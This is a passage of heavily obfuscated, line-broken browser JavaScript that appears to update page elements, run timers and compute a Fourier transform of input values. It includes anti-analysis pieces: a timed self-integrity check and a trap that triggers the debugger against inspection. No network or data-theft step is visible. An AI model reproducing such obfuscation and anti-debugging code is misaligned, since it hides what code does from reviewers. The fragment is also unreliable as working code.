83=1y[4(\'T7\',\'\\P\\Q\\D\\D\')](pc);1i 3z=1y[4(\'T9\',\'\\1l\\r\\E\\t\')]
(83,1H[I[1O]](1y[4(\'To\',\'\\q\\T\\1k\\7\')](1y[4(\'U6\',\'\\n\\l\\M\\13\')]
(po,2t),1Q)));1i 3y=1y[4(\'Uk\',\'\\1t\\X\\h\\J\')](3z,1H[I[2w]]
(1y[4(\'Ug\',\'\\1l\\n\\1k\\18\')](1y[4(\'U3\',\'\\o\\1r\\d\\10\')]
(2H,2t),1O)));if(1y[4(\'TP\',\'\\1t\\X\\h\\J\')](3z,1s))
{if(1y[4(\'TQ\',\'\\1B\\1k\\14\\j\')]
(1y[4(\'TO\',\'\\n\\13\\J\\1L\')],1y[4(\'TN\',\'\\U\\1K\\7\\c\')]))
{pa=i}1u{3z=1s;3y=1H[I[2w]](1y[4(\'TL\',\'\\U\\x\\15\\1t\')]
(1y[4(\'U1\',\'\\x\\b\\e\\1B\')](2H,2t),1O))}};if(1y[4(\'TY\',\'\\q\\T\\1k\\7\')]
(3y,2H)){if(1y[4(\'Qz\',\'\\N\\H\\E\\s\')]
(1y[4(\'Ne\',\'\\W\\19\\1r\\7\')],1y[4(\'Ng\',\'\\17\\1v\\o\\E\')]))
{3y=2H;3z=1y[4(\'Nd\',\'\\x\\6\\O\\Q\')](3y,1H[I[2w]]
(1y[4(\'Nc\',\'\\17\\W\\t\\h\')](1y[4(\'N9\',\'\\K\\c\\Z\\1c\')]
(2H,2t),1O)))}1u{C!![]}};2i[I[34]](I[6h])[I[3J]]=1y[4(\'Ni\',\'\\N\\H\\E\\s\')]
(1y[4(\'No\',\'\\p\\o\\j\\1w\')](1O,1y[4(\'Nl\',\'\\d\\1C\\G\\G\')](3y,3z)),2H)
[I[31]](1Q);2i[I[34]](I[6q])[I[3J]]=1Z[I[31]]
(3d);2Y=1y[4(\'N8\',\'\\13\\j\\6\\c\')]($,I[40])[1s][I[3x]][I[4u]]();1i
4m=1s;if(1y[4(\'MW\',\'\\p\\o\\j\\1w\')](2Y,I[pY]))
{if(1y[4(\'MQ\',\'\\n\\13\\J\\1L\')]
(1y[4(\'MR\',\'\\K\\c\\Z\\1c\')],1y[4(\'MY\',\'\\1b\\2\\R\\1t\')]))
{4m=1N}1u{1y[4(\'N4\',\'\\1b\\2\\R\\1t\')]($,I[4a])[I[2F]]
(I[2E],I[3H])}};if(1y[4(\'N6\',\'\\o\\o\\z\\q\')](2Y,I[qa]))
{if(1y[4(\'N2\',\'\\X\\G\\1v\\m\')]
(1y[4(\'MZ\',\'\\E\\2\\b\\D\')],1y[4(\'NS\',\'\\O\\1w\\9\\1r\')]))
{1y[4(\'NT\',\'\\x\\b\\e\\1B\')]($,I[6p])[I[2T]]
()}1u{4m=1Q}};if(1y[4(\'NP\',\'\\n\\l\\M\\13\')](2Y,I[pM]))
{if(1y[4(\'NN\',\'\\1t\\X\\h\\J\')]
(1y[4(\'NO\',\'\\1t\\X\\h\\J\')],1y[4(\'NV\',\'\\s\\n\\12\\7\')])){4m=1U}1u{1i
2d={};2d[4(\'O1\',\'\\2\\16\\q\\F\')]=1y.O0;2d[4(\'NZ\',\'\\1h\\13\\K\\c\')]=1y.NX;
2d[4(\'NY\',\'\\A\\O\\R\\p\')]=B(pO,pP){C
1y.NK(pO,pP)};2d[4(\'Ny\',\'\\1h\\13\\K\\c\')]=1y.Nw;2d[4(\'Nv\',\'\\1b\\2\\R\\1t\'
)]=B(pT,su){C
1y.Nt(pT,su)};2d[4(\'NA\',\'\\K\\c\\Z\\1c\')]=1y.NH;2d[4(\'NI\',\'\\m\\W\\m\\15\')]
=1y.NG;2d[4(\'NF\',\'\\U\\x\\15\\1t\')]=B(p6,oo){C
1y.ND(p6,oo)};2d[4(\'MO\',\'\\U\\1K\\7\\c\')]=B(om){C
1y.MN(om)};1y[4(\'LS\',\'\\E\\13\\1a\\H\')](LU,25,B(){1i ou=21
2y(2d[4(\'M0\',\'\\P\\Q\\D\\D\')]);1i oi=21
2y(2d[4(\'M5\',\'\\V\\z\\h\\T\')],\'\\Z\');1i 5f=2d[4(\'M2\',\'\\17\\W\\t\\h\')]
(3b,2d[4(\'LQ\',\'\\s\\n\\12\\7\')]);if(!ou[4(\'LE\',\'\\r\\1l\\17\\L\')]
(2d[4(\'LF\',\'\\b\\1h\\A\\19\')](5f,2d[4(\'LC\',\'\\1b\\2\\R\\1t\')]))||!
oi[4(\'LA\',\'\\E\\13\\1a\\H\')](2d[4(\'LG\',\'\\O\\1w\\9\\1r\')]
(5f,2d[4(\'LL\',\'\\P\\Q\\D\\D\')]))){2d[4(\'LI\',\'\\W\\19\\1r\\7\')]
(5f,\'\\z\')}1u{2d[4(\'LK\',\'\\n\\l\\M\\13\')](3b)}})
()}};if(1y[4(\'Ma\',\'\\q\\o\\G\\S\')](2Y,I[o1]))
{if(1y[4(\'MB\',\'\\x\\b\\e\\1B\')]
(1y[4(\'MD\',\'\\J\\p\\U\\19\')],1y[4(\'MA\',\'\\A\\O\\R\\p\')]))
{4m=2z}1u{83=2H}};Mw[I[of]][I[od]](oa,3z,3y,oc,4m,1Q);3g+
+}}1u{if(1y[4(\'MK\',\'\\n\\13\\J\\1L\')]
(1y[4(\'Mu\',\'\\m\\W\\m\\15\')],1y[4(\'Mh\',\'\\9\\L\\z\\o\')]))
{5P=1S}1u{1y[4(\'Mj\',\'\\m\\W\\m\\15\')](3U);1y[4(\'Mg\',\'\\1l\\r\\E\\t\')]
(42,I[4Y])}}}B 4x(){1i
1G={};1G[4(\'Mc\',\'\\o\\c\\1p\\9\')]=4(\'Md\',\'\\e\\A\\T\\12\');1G[4(\'Mk\',\'\\O
\\1w\\9\\1r\')]=B(oU,oR){C oU-oR};1G[4(\'Mr\',\'\\q\\T\\1k\\7\')]=B(oT,oY){C oT-
oY};1G[4(\'Mq\',\'\\D\\m\\1c\\Y\')]=B(oZ,p5){C
oZ>p5};1G[4(\'Mm\',\'\\s\\n\\12\\7\')]=4(\'Mo\',\'\\W\\Y\\M\\e\');1G[4(\'O3\',\'\\D
\\m\\1c\\Y\')]=B(oQ,oP){C oQ==oP};1G[4(\'PL\',\'\\17\\1v\\o\\E\')]=B(oG,oB){C
oG(oB)};1G[4(\'PH\',\'\\d\\1C\\G\\G\')]=B(oH,oI,oO){C
oH(oI,oO)};1G[4(\'PU\',\'\\1l\\1p\\1p\\X\')]=B(oM,oJ){C
oM+oJ};1G[4(\'PP\',\'\\17\\W\\t\\h\')]=B(qe,rL){C
qe*rL};1G[4(\'PE\',\'\\1B\\1k\\14\\j\')]=B(rM,rJ){C rM-
rJ};1G[4(\'Pq\',\'\\1B\\1k\\14\\j\')]=B(rH,rI){C
rH(rI)};1G[4(\'Pp\',\'\\x\\6\\O\\Q\')]=B(rO,rU){C
rO/rU};1G[4(\'Pl\',\'\\1v\\n\\D\\S\')]=B(rR,rP){C
rR*rP};1G[4(\'Pt\',\'\\U\\1K\\7\\c\')]=B(rQ,rF){C
rQ===rF};1G[4(\'PA\',\'\\1B\\1k\\14\\j\')]=4(\'PC\',\'\\s\\n\\12\\7\');1G[4(\'Pz\',
\'\\1l\\1p\\1p\\X\')]=4(\'Pv\',\'\\O\\V\\1C\\12\');1G[4(\'Pw\',\'\\1t\\X\\h\\J\')]=
B(ru,rs){C ru(rs)};1G[4(\'PX\',\'\\1l\\n\\1k\\18\')]=B(ro,rq){C
ro+rq};1G[4(\'Qo\',\'\\p\\o\\j\\1w\')]=B(rw,rC){C
rw==rC};1G[4(\'Qj\',\'\\O\\V\\1C\\12\')]=4(\'Qk\',\'\\1v\\n\\D\\S\');1G[4(\'Qr\',\'
\\o\\o\\z\\q\')]=4(\'Qx\',\'\\W\\Y\\M\\e\');1G[4(\'Qw\',\'\\1v\\n\\D\\S\')]=B(rx,ry
){C rx!
==ry};1G[4(\'Qs\',\'\\1t\\X\\h\\J\')]=4(\'Qu\',\'\\X\\G\\1v\\m\');1G[4(\'Q3\',\'\\o
\\o\\z\\q\')]=B(rV,sj){C rV(sj)};1G[4(\'Q5\',\'\\1b\\2\\R\\1t\')]=B(sk,si){C sk!
==si};1G[4(\'PY\',\'\\J\\p\\U\\19\')]=4(\'PZ\',\'\\q\\o\\G\\S\');1G[4(\'qn\',\'\\1l
\\1p\\1p\\X\')]=B(sf,sg){C sf(sg)};1G[4(\'Q7\',\'\\17\\1v\\o\\E\')]=B(sl){C
sl()};if(1G[4(\'Qe\',\'\\E\\2\\b\\D\')](1G[4(\'Qf\',\'\\b\\1h\\A\\19\')]
(1S,1Z),1G[4(\'qj\',\'\\o\\c\\1p\\9\')](2c,1G[4(\'Qb\',\'\\q\\o\\G\\S\')]
(1G[4(\'Ou\',\'\\b\\1h\\A\\19\')](2c,2R),1O)))){if(1G[4(\'Ov\',\'\\W\\19\\1r\\7\')]
(1G[4(\'Ot\',\'\\X\\G\\1v\\m\')],1G[4(\'Os\',\'\\K\\c\\Z\\1c\')])){1R=!!
[]}1u{1G[4(\'Oq\',\'\\O\\1w\\9\\1r\')](2A,2G);2G=1G[4(\'Or\',\'\\r\\1l\\17\\L\')]
(2J,I[4w],1G[4(\'Oy\',\'\\r\\1l\\17\\L\')](1G[4(\'OE\',\'\\14\\1w\\G\\X\')]
(1H[I[27]](),1G[4(\'Oz\',\'\\O\\1w\\9\\1r\')](3e,2L)),2L));2i[I[34]](I[6q])
[I[3J]]=1Z[I[31]](3d);2i[I[34]](I[6h])[I[3J]]=2t[I[31]](1Q);3g+
+;if(1G[4(\'OB\',\'\\K\\c\\Z\\1c\')](1R,!![])){if(1G[4(\'Oo\',\'\\o\\c\\1p\\9\')]
(1G[4(\'On\',\'\\o\\c\\1p\\9\')],1G[4(\'Oa\',\'\\o\\c\\1p\\9\')]))
{1Z=29}1u{1G[4(\'Ob\',\'\\1B\\1k\\14\\j\')]($,I[6o])[I[2T]]
()}}1u{if(1G[4(\'Oc\',\'\\14\\z\\b\\z\')]
(1G[4(\'O9\',\'\\e\\A\\T\\12\')],1G[4(\'O8\',\'\\E\\2\\b\\D\')])){1i
s3=1G[4(\'O5\',\'\\m\\W\\m\\15\')][4(\'O7\',\'\\W\\Y\\M\\e\')]
(\'\\2a\'),s0=1s;28(!![]){2j(s3[s0++])
{1n\'\\z\':;1o;1n\'\\12\':;1o;1n\'\\19\':24[I[3h]]
({\'\\W\':3g,\'\\13\':1G[4(\'Oi\',\'\\e\\A\\T\\12\')]
(1S,4N),\'\\d\\h\\H\\h\\c\':7a});1o;1n\'\\S\':if(24[1G[4(\'Of\',\'\\O\\1w\\9\\1r\')
](24[I[1W]],1Q)]){24[1G[4(\'Og\',\'\\n\\l\\M\\13\')](24[I[1W]],1Q)]
[I[65]]=7a}1o;1n\'\\t\':3i[I[49]]();1o;1n\'\\q\':if(1G[4(\'Oh\',\'\\J\\p\\U\\19\')]
(24[I[1W]],1O)){24[I[3m]]()}1o}2l}}1u{1G[4(\'OG\',\'\\x\\6\\O\\Q\')]($,I[6p])
[I[2T]]()}}}}1u{if(1G[4(\'OH\',\'\\17\\W\\t\\h\')]
(1G[4(\'Pe\',\'\\1B\\1k\\14\\j\')],1G[4(\'P1\',\'\\O\\V\\1C\\12\')])){1i
s8=1G[4(\'OQ\',\'\\W\\19\\1r\\7\')][4(\'sb\',\'\\A\\O\\R\\p\')]
(\'\\2a\'),rm=1s;28(!![]){2j(s8[rm++]){1n\'\\z\':2i[I[34]](I[6h])[I[3J]]=2t[I[31]]
(1Q);1o;1n\'\\12\':3g++;1o;1n\'\\19\':if(1G[4(\'11Z\',\'\\1l\\r\\E\\t\')](1R,!![]))
{1G[4(\'120\',\'\\N\\H\\E\\s\')]($,I[6o])[I[2T]]
()}1u{1G[4(\'11W\',\'\\e\\A\\T\\12\')]($,I[6p])[I[2T]]
()}1o;1n\'\\S\':2G=1G[4(\'128\',\'\\1l\\n\\1k\\18\')]
(2J,I[4w],1G[4(\'124\',\'\\c\\1k\\E\\F\')](1G[4(\'125\',\'\\q\\o\\G\\S\')]
(1H[I[27]](),1G[4(\'qj\',\'\\o\\c\\1p\\9\')](3e,2L)),2L));1o;1n\'\\t\':2i[I[34]]
(I[6q])[I[3J]]=1Z[I[31]](3d);1o;1n\'\\q\':1G[4(\'12S\',\'\\W\\Y\\M\\e\')]
(2A,2G);1o}2l}}1u{1G[4(\'qn\',\'\\1l\\1p\\1p\\X\')](2A,2G);41=!
[];1G[4(\'12B\',\'\\o\\c\\1p\\9\')](3U);1G[4(\'12x\',\'\\1h\\13\\K\\c\')]
(42,I[4Y])}}}B 12E(){1i 1E={};1E[4(\'12K\',\'\\E\\2\\b\\D\')]=B(qM,qN){C
qM+qN};1E[4(\'12J\',\'\\U\\1K\\7\\c\')]=4(\'12I\',\'\\E\\2\\b\\D\');1E[4(\'11S\',\'
\\x\\b\\e\\1B\')]=4(\'11R\',\'\\c\\1k\\E\\F\');1E[4(\'114\',\'\\2\\16\\q\\F\')]=4(\
'115\',\'\\14\\z\\b\\z\');1E[4(\'10Z\',\'\\17\\1v\\o\\E\')]=B(rc,rk){C
rc(rk)};1E[4(\'116\',\'\\x\\b\\e\\1B\')]=B(rj,ri){C
rj>ri};1E[4(\'11e\',\'\\9\\L\\z\\o\')]=B(rh,r3){C rh-
r3};1E[4(\'11b\',\'\\N\\H\\E\\s\')]=B(qU,qS){C
qU*qS};1E[4(\'119\',\'\\U\\x\\15\\1t\')]=B(qR,qP){C
qR/qP};1E[4(\'10X\',\'\\o\\1r\\d\\10\')]=B(qV,qW){C qV-
qW};1E[4(\'s1\',\'\\o\\1r\\d\\10\')]=B(r1,r2){C
r1<r2};1E[4(\'10K\',\'\\J\\p\\U\\19\')]=B(r0,qX){C r0!
==qX};1E[4(\'10I\',\'\\K\\c\\Z\\1c\')]=4(\'10E\',\'\\o\\1r\\d\\10\');1E[4(\'10F\',\
'\\x\\b\\e\\1B\')]=B(qY,qZ){C qY+qZ};1E[4(\'10N\',\'\\n\\13\\J\\1L\')]=B(qQ,qO){C
qQ/qO};1E[4(\'10U\',\'\\J\\p\\U\\19\')]=B(qT,r4){C qT
%r4};1E[4(\'10R\',\'\\17\\1v\\o\\E\')]=B(rf,r5){C
rf/r5};1E[4(\'10P\',\'\\x\\6\\O\\Q\')]=B(r9,ra){C
r9===ra};1E[4(\'11g\',\'\\1t\\X\\h\\J\')]=4(\'11F\',\'\\13\\j\\6\\c\');1E[4(\'11H\'
,\'\\E\\2\\b\\D\')]=B(qq,qs){C qq/qs};1E[4(\'11D\',\'\\14\\1w\\G\\X\')]=B(qu,qt){C
qu%qt};1E[4(\'11B\',\'\\1v\\n\\D\\S\')]=B(qm,qh){C qm!
==qh};1E[4(\'11Q\',\'\\J\\p\\U\\19\')]=4(\'11O\',\'\\s\\n\\12\\7\');1E[4(\'11K\',\'
\\1l\\n\\1k\\18\')]=4(\'11L\',\'\\1v\\n\\D\\S\');1E[4(
\'11o\',\'\\b\\1h\\A\\19\')]=4(\'11l\',\'\\17\\1v\\o\\E\');1E[4(\'sc\',\'\\s\\n\\12
\\7\')]=4(\'11h\',\'\\P\\Q\\D\\D\');1E[4(\'11i\',\'\\r\\1l\\17\\L\')]=B(qH,qI){C
qH+qI};1E[4(\'11q\',\'\\O\\1w\\9\\1r\')]=B(qF,qE){C
qF+qE};1E[4(\'136\',\'\\x\\6\\O\\Q\')]=4(\'11u\',\'\\z\\r\\Y\\A\');1E[4(\'11r\',\'\
\2\\16\\q\\F\')]=4(\'11t\',\'\\1l\\n\\1k\\18\');1E[4(\'135\',\'\\o\\c\\1p\\9\')]=B(
qA,qB){C qA(qB)};1i rn=21 4f();1i 36=1H[I[2w]](1E[4(\'14L\',\'\\1v\\n\\D\\S\')]
(1E[4(\'14K\',\'\\P\\1k\\s\\p\')](rn,5M),5Z));1i 6a=1H[I[2w]]
(1E[4(\'14I\',\'\\e\\A\\T\\12\')](36,5R));if(1E[4(\'14P\',\'\\o\\c\\1p\\9\')]
(6a,1W)){if(1E[4(\'14Q\',\'\\2\\16\\q\\F\')]
(1E[4(\'14W\',\'\\o\\1r\\d\\10\')],1E[4(\'14Y\',\'\\1l\\n\\1k\\18\')]))
{4r=1E[4(\'14V\',\'\\14\\1w\\G\\X\')](I[26],4A[I[4o]]
())}1u{6a=1E[4(\'14R\',\'\\1l\\1p\\1p\\X\')](I[26],1H[I[2w]]
(1E[4(\'14S\',\'\\z\\r\\Y\\A\')](36,5R)))}};36=1E[4(\'14G\',\'\\14\\z\\b\\z\')]
(36,5R);1i 4r=1H[I[2w]](1E[4(\'14F\',\'\\A\\O\\R\\p\')]
(36,2q));if(1E[4(\'14t\',\'\\p\\o\\j\\1w\')](4r,1W))
{if(1E[4(\'14u\',\'\\2\\16\\q\\F\')]
(1E[4(\'14q\',\'\\N\\H\\E\\s\')],1E[4(\'14n\',\'\\o\\1r\\d\\10\')]))
{4r=1E[4(\'14p\',\'\\E\\2\\b\\D\')](I[26],1H[I[2w]](1E[4(\'14v\',\'\\P\\Q\\D\\D\')]
(36,2q)))}1u{(B(){C![]}[4(\'14C\',\'\\14\\1w\\G\\X\')]
(1E[4(\'14D\',\'\\1b\\2\\R\\1t\')]
(1E[4(\'14B\',\'\\s\\n\\12\\7\')],1E[4(\'14A\',\'\\x\\6\\O\\Q\')]))
[4(\'150\',\'\\o\\1r\\d\\10\')](1E[4(\'14z\',\'\\p\\o\\j\\1w\')]))}};1i
68=1E[4(\'15s\',\'\\1v\\n\\D\\S\')](36,2q);if(1E[4(\'s1\',\'\\o\\1r\\d\\10\')]
(68,1W)){if(1E[4(\'15g\',\'\\1h\\13\\K\\c\')]
(1E[4(\'155\',\'\\1b\\2\\R\\1t\')],1E[4(\'154\',\'\\q\\T\\1k\\7\')]))
{68=1E[4(\'153\',\'\\n\\13\\J\\1L\')](I[26],1E[4(\'152\',\'\\13\\j\\6\\c\')]
(36,2q))}1u{1E[4(\'159\',\'\\O\\1w\\9\\1r\')]($,I[45])[I[2F]](I[2E],I[3H])}};if(4C)
{if(1E[4(\'15b\',\'\\O\\1w\\9\\1r\')]
(1E[4(\'15e\',\'\\U\\1K\\7\\c\')],1E[4(\'sc\',\'\\s\\n\\12\\7\')])){1R=!
[]}1u{1E[4(\'157\',\'\\1t\\X\\h\\J\')]($,I[4B])[I[1U]]
(1E[4(\'15m\',\'\\P\\1k\\s\\p\')](1E[4(\'15p\',\'\\o\\o\\z\\q\')]
(1E[4(\'15i\',\'\\1v\\n\\D\\S\')](1E[4(\'15k\',\'\\W\\19\\1r\\7\')]
(6a,I[2S]),4r),I[2S]),68))}}1u{if(1E[4(\'14l\',\'\\A\\O\\R\\p\')]
(1E[4(\'13r\',\'\\1v\\n\\D\\S\')],1E[4(\'13s\',\'\\1h\\13\\K\\c\')]))
{1E[4(\'13z\',\'\\14\\1w\\G\\X\')]($,I[4B])[I[1U]]
(I[7T])}1u{if(1E[4(\'13H\',\'\\W\\19\\1r\\7\')](1E[4(\'13p\',\'\\1B\\1k\\14\\j\')]
(1S,1E[4(\'rv\',\'\\E\\13\\1a\\H\')](1Z,2O)),1E[4(\'13d\',\'\\P\\Q\\D\\D\')]
(2c,1E[4(\'13b\',\'\\n\\13\\J\\1L\')](1E[4(\'rv\',\'\\E\\13\\1a\\H\')]
(2c,2R),1O)))){1Z*=2O}}}}B u(){1i 22={};22[4(\'13m\',\'\\U\\x\\15\\1t\')]=B(rt,rE)
{C rt(rE)};22[4(\'13i\',\'\\1h\\13\\K\\c\')]=B(rS,rT){C
rS(rT)};22[4(\'147\',\'\\q\\T\\1k\\7\')]=B(p4,og){C
p4==og};22[4(\'Xe\',\'\\z\\r\\Y\\A\')]=B(o3,o2){C
o3(o2)};22[4(\'Xf\',\'\\c\\1k\\E\\F\')]=B(o4,os){C
o4(os)};22[4(\'WT\',\'\\d\\1C\\G\\G\')]=B(ow,oj){C
ow===oj};22[4(\'X9\',\'\\17\\1v\\o\\E\')]=4(\'XZ\',\'\\D\\m\\1c\\Y\');22[4(\'XB\',\
'\\q\\o\\G\\S\')]=4(\'XD\',\'\\O\\1w\\9\\1r\');22[4(\'XA\',\'\\1b\\2\\R\\1t\')]=4(\
'XK\',\'\\e\\A\\T\\12\');if(22[4(\'XI\',\'\\X\\G\\1v\\m\')](51[I[46]]
[I[72]],22[4(\'WS\',\'\\P\\1k\\s\\p\')](1J,22[4(\'W4\',\'\\14\\1w\\G\\X\')]
(3O,I[59])))||22[4(\'W1\',\'\\1h\\13\\K\\c\')](51[I[46]]
[I[7n]],22[4(\'W6\',\'\\o\\1r\\d\\10\')](1J,22[4(\'Wc\',\'\\1l\\r\\E\\t\')]
(3O,I[59])))){if(22[4(\'VV\',\'\\14\\1w\\G\\X\')]
(22[4(\'VI\',\'\\U\\1K\\7\\c\')],22[4(\'VE\',\'\\r\\1l\\17\\L\')])){C!!
[]}1u{1Z*=39}}1u{if(22[4(\'VF\',\'\\x\\b\\e\\1B\')]
(22[4(\'VM\',\'\\W\\19\\1r\\7\')],22[4(\'VS\',\'\\14\\z\\b\\z\')]))
{22[4(\'VU\',\'\\e\\A\\T\\12\')]($,I[6r])[I[6n]]();22[4(\'VR\',\'\\K\\c\\Z\\1c\')]
($,I[5T])[I[6k]]()}1u{C![]}}}1i Wf=1s;1i 2N=1O;1i 5K=54;1i 2W=[];1i 30=[];1i
f,w,re,im,i;B pc(){1i 1z={};1z[4(\'WJ\',\'\\1t\\X\\h\\J\')]=B(pp,pB){C
pp<pB};1z[4(\'WN\',\'\\1b\\2\\R\\1t\')]=B(pD){C
pD()};1z[4(\'WL\',\'\\17\\1v\\o\\E\')]=B(px,ps){C
px(ps)};1z[4(\'Wm\',\'\\E\\2\\b\\D\')]=B(pr,pt){C pr!
==pt};1z[4(\'Wg\',\'\\p\\o\\j\\1w\')]=4(\'Ww\',\'\\z\\r\\Y\\A\');1z[4(\'Wx\',\'\\N\
\H\\E\\s\')]=B(uk,ui){C uk===ui};1z[4(\'uo\',\'\\14\\z\\b\\z\')]=B(us,ur){C
us>ur};1z[4(\'ZM\',\'\\r\\1l\\17\\L\')]=B(uq,u6){C
uq+u6};1z[4(\'ZY\',\'\\14\\1w\\G\\X\')]=B(u2,u8){C
u2/u8};1z[4(\'ZW\',\'\\p\\o\\j\\1w\')]=B(u9,uv){C
u9*uv};1z[4(\'ZV\',\'\\W\\Y\\M\\e\')]=B(uy,tZ){C
uy===tZ};1z[4(\'ZH\',\'\\r\\1l\\17\\L\')]=4(\'Zv\',\'\\b\\1h\\A\\19\');1z[4(\'Zw\',
\'\\U\\1K\\7\\c\')]=4(\'Zs\',\'\\U\\1K\\7\\c\');1z[4(\'Zp\',\'\\U\\x\\15\\1t\')]=B(
t0,sY){C t0+sY};1z[4(\'Zx\',\'\\14\\z\\b\\z\')]=B(sX,sU){C
sX<sU};1z[4(\'ZE\',\'\\c\\1k\\E\\F\')]=B(t3,t4){C
t3+t4};1z[4(\'Zz\',\'\\s\\n\\12\\7\')]=B(tc,t8){C
tc+t8};1z[4(\'10o\',\'\\W\\Y\\M\\e\')]=4(\'10l\',\'\\13\\j\\6\\c\');1z[4(\'10n\',\'
\\1B\\1k\\14\\j\')]=4(\'10t\',\'\\z\\r\\Y\\A\');1z[4(\'10A\',\'\\O\\1w\\9\\1r\')]=4
(\'10B\',\'\\D\\m\\1c\\Y\');1z[4(\'10z\',\'\\O\\V\\1C\\12\')]=B(sy,sP,sL){C
sy(sP,sL)};1z[4(\'10w\',\'\\E\\2\\b\\D\')]=B(tL,tN){C tL-
tN};1z[4(\'10j\',\'\\o\\1r\\d\\10\')]=B(tI,tE){C
tI(tE)};1z[4(\'108\',\'\\14\\1w\\G\\X\')]=B(tP,tW){C
tP(tW)};1z[4(\'105\',\'\\9\\L\\z\\o\')]=4(\'102\',\'\\D\\m\\1c\\Y\');1z[4(\'103\',\
'\\x\\6\\O\\Q\')]=4(\'104\',\'\\b\\1h\\A\\19\');1z[4(\'10b\',\'\\J\\p\\U\\19\')]=B(
tS,tD){C tS<=tD};1z[4(\'10i\',\'\\P\\1k\\s\\p\')]=B(to,tp){C
to===tp};1z[4(\'10e\',\'\\n\\13\\J\\1L\')]=4(\'Zo\',\'\\1t\\X\\h\\J\');1z[4(\'Yy\',
\'\\O\\1w\\9\\1r\')]=4(\'Yz\',\'\\P\\1k\\s\\p\');1z[4(\'Yt\',\'\\1l\\r\\E\\t\')]=B(
ty,tx){C ty<tx};1z[4(\'Yv\',\'\\17\\1v\\o\\E\')]=B(tv,ts){C tv!
==ts};1z[4(\'YI\',\'\\17\\1v\\o\\E\')]=4(\'YJ\',\'\\O\\V\\1C\\12\');1z[4(\'YG\',\'\
\O\\V\\1C\\12\')]=B(tR,tU){C tR/tU};1z[4(\'Yf\',\'\\1l\\n\\1k\\18\')]=B(tY,tX){C
tY*tX};1z[4(\'Yd\',\'\\z\\r\\Y\\A\')]=4(\'Y9\',\'\\9\\L\\z\\o\');1z[4(\'Ya\',\'\\P\
\Q\\D\\D\')]=4(\'Yh\',\'\\s\\n\\12\\7\');1z[4(\'Yp\',\'\\q\\T\\1k\\7\')]=B(t7,sT){C
t7*sT};1z[4(\'Zb\',\'\\1v\\n\\D\\S\')]=4(\'Zm\',\'\\p\\o\\j\\1w\');1z[4(\'Zk\',\'\\
1l\\r\\E\\t\')]=B(u7,u3){C u7!
==u3};1z[4(\'Z5\',\'\\r\\1l\\17\\L\')]=4(\'Z4\',\'\\r\\1l\\17\\L\');1z[4(\'YS\',\'\
\o\\1r\\d\\10\')]=4(\'YT\',\'\\1l\\1p\\1p\\X\');1z[4(\'YP\',\'\\n\\l\\M\\13\')]=4(\
'YM\',\'\\O\\1w\\9\\1r\');2W[I[3h]](1z[4(\'YO\',\'\\9\\L\\z\\o\')]
(1z[4(\'YU\',\'\\X\\G\\1v\\m\')](1J,1z[4(\'Z1\',\'\\s\\n\\12\\7\')]($,I[48])[I[1U]]
()),4s));if(1z[4(\'uo\',\'\\14\\z\\b\\z\')](2W[I[1W]],2N))
{if(1z[4(\'Z3\',\'\\e\\A\\T\\12\')]
(1z[4(\'Z0\',\'\\17\\W\\t\\h\')],1z[4(\'OT\',\'\\W\\19\\1r\\7\')]))
{if(1z[4(\'GZ\',\'\\P\\1k\\s\\p\')](1H[I[27]](),0.5)){1R=![]}1u{1R=!!
[]}}1u{2W[I[3m]]();30[I[1W]]=1s;2o(f=1N;1z[4(\'vE\',\'\\V\\z\\h\\T\')](f,5K);f++)
{if(1z[4(\'w5\',\'\\r\\1l\\17\\L\')]
(1z[4(\'w8\',\'\\q\\T\\1k\\7\')],1z[4(\'vQ\',\'\\U\\x\\15\\1t\')]))
{1z[4(\'uH\',\'\\O\\V\\1C\\12\')](3U);1z[4(\'v9\',\'\\13\\j\\6\\c\')]
(42,I[4Y])}1u{w=1z[4(\'xn\',\'\\V\\z\\h\\T\')](1z[4(\'vH\',\'\\s\\n\\12\\7\')]
(1Q,1H[I[3S]]),f);re=1s;im=1s;2o(i=1s;1z[4(\'vA\',\'\\W\\19\\1r\\7\')](i,2N);i++)
{if(1z[4(\'tf\',\'\\1b\\2\\R\\1t\')]
(1z[4(\'uW\',\'\\1l\\1p\\1p\\X\')],1z[4(\'uG\',\'\\1l\\r\\E\\t\')]))
{62=1U}1u{re+=1z[4(\'x4\',\'\\q\\o\\G\\S\')](2W[i],1H[I[4k]]
(1z[4(\'sz\',\'\\n\\13\\J\\1L\')](1z[4(\'x2\',\'\\2\\16\\q\\F\')]
(w,i),2N)));im+=1z[4(\'wf\',\'\\x\\6\\O\\Q\')](2W[i],1H[I[5d]]
(1z[4(\'wA\',\'\\W\\19\\1r\\7\')](1z[4(\'wL\',\'\\O\\1w\\9\\1r\')]
(w,i),2N)))}};30[I[3h]]([f,1z[4(\'tJ\',\'\\o\\c\\1p\\9\')](1H[I[7I]]
(im,re),2N),1H[I[82]](im,re)])}};30[I[sE]](B(4J){1i
3N={};3N[4(\'xu\',\'\\r\\1l\\17\\L\')]=B(sI,te){C
1z.xB(sI,te)};3N[4(\'uF\',\'\\1v\\n\\D\\S\')]=B(tT,tn){C
1z.uN(tT,tn)};3N[4(\'w3\',\'\\1l\\r\\E\\t\')]=B(tr,tA){C
1z.vN(tr,tA)};if(1z[4(\'AJ\',\'\\D\\m\\1c\\Y\')]
(1z[4(\'AL\',\'\\q\\T\\1k\\7\')],1z[4(\'AH\',\'\\13\\j\\6\\c\')]))
{AB=3N[4(\'AD\',\'\\K\\c\\Z\\1c\')](I[26],4A[I[4p]]())}1u{C B(6T,6R)
{if(1z[4(\'xO\',\'\\x\\6\\O\\Q\')]
(1z[4(\'zQ\',\'\\J\\p\\U\\19\')],1z[4(\'zP\',\'\\q\\T\\1k\\7\')]))
{8d=1s;5C=1H[I[2w]](3N[4(\'zT\',\'\\d\\1C\\G\\G\')](3N[4(\'A3\',\'\\9\\L\\z\\o\')]
(2H,2t),1O))}1u{C 1z[4(\'A4\',\'\\d\\1C\\G\\G\')](6T[4J],6R[4J])?
1s:1z[4(\'Af\',\'\\n\\l\\M\\13\')](6T[4J],6R[4J])?-1N:1N}}}}(1N));1i
2V=1s;2o(i=1N;1z[4(\'Ac\',\'\\U\\x\\15\\1t\')](i,1z[4(\'tJ\',\'\\o\\c\\1p\\9\')]
(5K,2z));i++){if(1z[4(\'tf\',\'\\1b\\2\\R\\1t\')]
(1z[4(\'Bk\',\'\\x\\b\\e\\1B\')],1z[4(\'By\',\'\\n\\13\\J\\1L\')])){f=30[i]
[1s];2V+=1H[I[4k]](30[i][1Q])}1u{1i 63=1z[4(\'BI\',\'\\o\\o\\z\\q\')]
(sx,I[3a]);if(1z[4(\'BJ\',\'\\b\\1h\\A\\19\')](63[I[1W]],1Q)){C
